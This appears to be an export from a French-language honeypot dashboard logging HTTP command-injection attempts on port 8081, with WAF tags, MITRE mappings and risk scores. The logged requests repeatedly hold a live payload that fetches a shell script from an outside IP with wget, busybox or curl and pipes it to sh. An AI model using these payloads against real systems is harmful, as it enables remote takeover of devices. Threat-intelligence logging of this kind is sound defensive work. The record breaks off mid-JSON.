/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20zyxn%60&password=x
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20zyxn%60&…
Pourquoi cette classification : Sonde fichier sensible: chemin sensible (tag interne) · Règle WAF « lfi-12 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — 8 tag(s) WAF
Protocole émulé
1 Signaux
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /cgi-bin/weblogin.cgi?username=admin%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20zyxn%60&password=x HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /cgi-bin/weblogin.cgi?username=admin%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge
Requête brute (extrait)
GET /cgi-bin/weblogin.cgi?username=admin%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20zyxn%60&password=x HTTP/
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 2,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "d7c50c317345ff967f52237b6d39d1e3492e57e3",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 305,
"payload_entropy": 5.215321626363439,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 64,
"tag_count": 15,
"anomaly_count": 1,
"campaign_key": "8a819daa5d0fbd70624a5731d954beeb990d86d9",
"event_fingerprint": "006ec70db37e5b2dc5156a9001cb657de1ffd57d",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 127,
"precision_signals": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "328abc7cc8410f2d4d7c3ec6304ea201",
"path_pattern_hash": "7040b45b347554761acdcc31fae65b31"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&password=x",
"query_string": "username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&password=x",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&password=x HTTP\/1.1",
"payload_snippet": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&password=x",
"query_string": "username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&password=x",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&password=x HTTP\/1.1",
"request_sample": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&password=x HTTP\/",
"payload_snippet": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "bdd278fc0a01531dd59026a1c5328affac4a088b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&\u2026",
"request_line": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge",
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 8 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20zyxn%60&\u2026",
"request_line": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bcurl%20http:\/\/\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge\u2026",
"evidence_snippet": "GET \/cgi-bin\/weblogin.cgi?username=admin%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20zyxn%3Bbusybox%20wge",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 8 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 8 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950468:nosqli-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_suspicious_params",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 03:13:03 UTC
TCP
8081 · HTTP
Injection de commande
cmd injection · via HTTP:8081 · (tentative d'exploit) · → /cgi-bin/weblogin.cgi
Élevée
Élevé · 82
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1059
TA0001
TA0002
Protocole
POST /cgi-bin/weblogin.cgi
Émulateur
HTTP
WAF
47
Recommandation
Investiguer
Tags
950311:lfi-12
950327:rce-0
950335:rce-2
950347:rce-5
Cible HTTP
POST
/cgi-bin/weblogin.cgi
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8081
Chemin / cible
/cgi-bin/weblogin.cgi
Pourquoi cette classification : Injection de commande (tag lfi-12) · Injection commande dans la requête · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 82
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
MITRE-T1059
Http Cmdi
pat-0773
pat-0775
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 921130 duplicate CL
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932200
CRS 932205
LFI Double-dot bypass
Ligne de requête
POST /cgi-bin/weblogin.cgi HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
Payload (extrait)
POST /cgi-bin/weblogin.cgi HTTP/1.1
Host: 62.3.50.33:8081
Content-Type: application/x-www-form-urlencoded
Content-Length: 188
Requête brute (extrait)
POST /cgi-bin/weblogin.cgi HTTP/1.1 Host: 62.3.50.33:8081 Content-Type: application/x-www-form-urlencoded Content-Length: 188 Connection: close username=admin`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s zyx326;busybox wget http://91.92.40.118
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 4,
"http_query_params": 0,
"http_path_depth": 2,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "8d246eb8427b4c9fcbba98fa983b800b347795cb",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 339,
"payload_entropy": 5.281002138395151,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 15,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 82,
"tag_count": 16,
"anomaly_count": 0,
"campaign_key": "f502d9c2844f7a63e26ab260019c869ba098e511",
"event_fingerprint": "1194d6802ebf7ab3ad595f9c5973dd2148cfbfda",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 446,
"precision_signals": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"kb_rule_ids": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146"
],
"matched_patterns": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0842",
"pat-0773",
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "2bec6471e6889b31ea57d8f1f12d5204",
"path_pattern_hash": "7040b45b347554761acdcc31fae65b31"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 82
},
"payload_preview": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 188",
"method": "POST",
"path": "\/cgi-bin\/weblogin.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 188\r\nConnection: close\r\n\r\nusername=admin`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s zyx326;busybox wget http:\/\/91.92.40.118",
"payload_snippet": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 188",
"evidence": {
"method": "POST",
"path": "\/cgi-bin\/weblogin.cgi",
"waf_tags": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3"
],
"request_line": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1",
"request_sample": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 188\r\nConnection: close\r\n\r\nusername=admin`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s zyx326;busybox wget http:\/\/91.92.40.118",
"payload_snippet": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 188",
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1059",
"T1190"
],
"mitre": "T1059",
"threat_family": [
"rce_probe",
"ssrf_probe"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "2410046d0ef8a86462cf1b36787eba56a1b3c78f",
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/weblogin.cgi",
"request_line": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 188",
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/weblogin.cgi",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"classification_reason_label_fr": "Injection de commande (tag lfi-12) \u00b7 Injection commande dans la requ\u00eate \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 82\/100 (\u00c9lev\u00e9) \u2014 MITRE T1059 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 82
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 82,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1059",
"INT-http_cmdi",
"pat-0773",
"pat-0775"
],
"tags_summary_labels_fr": [
"MITRE-T1059",
"Http Cmdi",
"pat-0773",
"pat-0775"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1059",
"mitre_technique": "T1059",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "POST",
"http_path": "\/cgi-bin\/weblogin.cgi",
"request_line": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "cmd injection \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/cgi-bin\/weblogin.cgi",
"evidence_snippet": "POST \/cgi-bin\/weblogin.cgi HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nContent-Type: application\/x-www-form-urlencoded\r\nContent-Length: 188",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950311:lfi-12",
"950327:rce-0",
"950335:rce-2",
"950347:rce-5",
"950407:ssrf-3",
"950468:nosqli-3",
"950471:nosqli-3",
"http_cmd_injection",
"http_credential_body",
"http_jwt_body",
"http_no_ua",
"http_probe_cgi_bin",
"http_sensitive_path",
"http_ssrf_body",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 03:13:03 UTC
TCP
8081 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8081 · (tentative d'exploit)
Élevée
Moyen · 60
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /
Émulateur
HTTP
WAF
44
Recommandation
Investiguer
Tags
950310:lfi-12
950326:rce-0
950334:rce-2
950346:rce-5
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59%
Confiance classification
59%
Risque capteur
Moyen
· 60
Confiance : Confiance 59 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100-sub
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET / HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: 62.3.50.33:8081
Cookie: PHPSESSID=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20asu
Requête brute (extrait)
GET / HTTP/1.1 Host: 62.3.50.33:8081 Cookie: PHPSESSID=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20asusn%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20asusn%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20asusn
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 282,
"payload_entropy": 5.138668268237199,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 60,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "f1331a842b5c0cb0c819e896a3583e7b869e1d5e",
"event_fingerprint": "1ce098c91172c9ffd63ff07634cd83cd70b77e68",
"classification_reason": "Type \u00ab lfi_path_traversal \u00bb (signaux protocolaires) \u00b7 confiance 59%",
"confidence": 0.59,
"classification_confidence": 0.59,
"precision_score": 70,
"precision_signals": [
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100-sub"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
